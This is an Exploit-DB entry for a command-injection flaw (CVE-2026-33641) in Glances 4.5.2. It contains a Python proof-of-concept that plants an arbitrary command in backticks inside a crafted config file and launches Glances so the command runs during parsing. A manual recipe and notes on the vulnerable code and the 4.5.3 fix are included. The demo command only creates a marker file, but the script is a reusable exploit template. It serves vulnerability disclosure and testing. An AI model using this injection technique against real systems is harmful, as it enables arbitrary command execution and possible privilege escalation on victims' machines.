This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING glances 4.5.2 - command injection EDB-ID: 52559 CVE: 2026-33641 EDB Verified: Author: BEST.SELL Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-05-13 Vulnerable App: #!/usr/bin/env python3 # Exploit Title: glances 4.5.2 - command injection # Date: 2026-04-09 # Exploit Author: Stepanov Daniil # Vendor Homepage: https://github.com/nicolargo/glances # Software Link: https://github.com/nicolargo/glances # Version: 4.5.2 and below (fixed in 4.5.3) # Tested on: Kali Linux 2026.1, Ubuntu 22.04 # CVE: CVE-2026-33641 # CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command) ''' Vulnerability Description: -------------------------- Glances versions prior to 4.5.3 support dynamic configuration values in which substrings enclosed in backticks are executed as system commands during configuration parsing. This behavior occurs in Config.get_value() and is implemented without validation or restriction of the executed commands. If an attacker can modify or influence configuration files, arbitrary commands will execute automatically with the privileges of the Glances process during startup or configuration reload. In deployments where Glances runs with elevated privileges (e.g., as a system service), this may lead to privilege escalation. CVSS Score: 7.8 (HIGH) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Affected component: glances/config.py and glances/globals.py Credit: Discovered by Stepanov Daniil ''' import subprocess import os import sys import tempfile def create_malicious_config(command): """ Create a malicious Glances configuration file that executes arbitrary commands. The vulnerable Config.get_value() method scans for substrings enclosed in backticks and executes them via system_exec(), which uses subprocess.run() with shell=False but the backticks are extracted and executed. Vulnerable code in glances/config.py: -------------------------------------------------- match = self.re_pattern.findall(ret) for m in match: ret = ret.replace(m, system_exec(m[1:-1])) -------------------------------------------------- Vulnerable code in glances/globals.py: -------------------------------------------------- def system_exec(command, timeout=5): res = subprocess.run(command.split(' '), stdout=subprocess.PIPE, timeout=timeout).stdout.decode('utf-8') return res -------------------------------------------------- """ config_content = f""" [outputs] url_prefix = `{command}` """ # Create temporary configuration file config_file = tempfile.NamedTemporaryFile(mode='w', suffix='.conf', delete=False) config_file.write(config_content) config_file.close() return config_file.name def exploit(): """ Proof of Concept: Execute arbitrary commands via Glances configuration. """ print("[+] CVE-2026-33641 - Glances Command Injection PoC") print("[+] Exploit Author: Stepanov Daniil") print() # Command to execute (create a file in /tmp as proof) test_file = "/tmp/glances_pwned" command = f"touch {test_file}" print(f"[+] Creating malicious config with command: {command}") config_path = create_malicious_config(command) print(f"[+] Config file created: {config_path}") print(f"[+] Launching Glances with malicious config...") print("[+] If vulnerable, the command will execute during config parsing") print() # Execute Glances with the malicious config # Note: Glances must be installed in the environment try: result = subprocess.run( ["glances", "-C", config_path, "--timeout", "2"], capture_output=True, text=True, timeout=5 ) except FileNotFoundError: print("[!] Error: Glances is not installed or not in PATH") print("[!] Install with: pip install glances==4.5.2") sys.exit(1) except subprocess.TimeoutExpired: pass # Glances may run indefinitely, that's fine # Check if the command was executed print("[+] Checking if command was executed...") if os.path.exists(test_file): print(f"[✓] SUCCESS! File created: {test_file}") print("[✓] Command injection confirmed!") print("[!] Vulnerability exists in this version of Glances") os.remove(test_file) else: print("[✗] File not found. Either the vulnerability is patched") print(" or the command could not be executed.") # Cleanup os.unlink(config_path) print(f"\n[+] Cleanup complete: {config_path} removed") print("\n[+] For more information, visit:") print(" https://nvd.nist.gov/vuln/detail/CVE-2026-33641") def manual_verification_guide(): """ Alternative manual verification method if Glances is not in PATH. """ print("\n" + "="*60) print("MANUAL VERIFICATION GUIDE") print("="*60) print(""" If Glances is not installed, you can verify the vulnerability by: 1. Create a file /tmp/malicious.conf with: [outputs] url_prefix = `touch /tmp/glances_pwned` 2. Run: glances -C /tmp/malicious.conf 3. Check if /tmp/glances_pwned exists """) if __name__ == "__main__": exploit() manual_verification_guide() # Additional notes for Exploit-DB: # --------------------------------- # Impact: # - Arbitrary command execution with privileges of Glances process # - Often Glances runs with elevated privileges (root/sudo) # - Can lead to complete system compromise # # Fix: # - Upgrade to Glances version 4.5.3 or higher # - The dynamic backtick execution feature was completely removed # # References: # - https://github.com/nicolargo/glances/security/advisories/GHSA-qhj7-v7h7-q4c7 # - https://github.com/nicolargo/glances/releases/tag/v4.5.3 Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.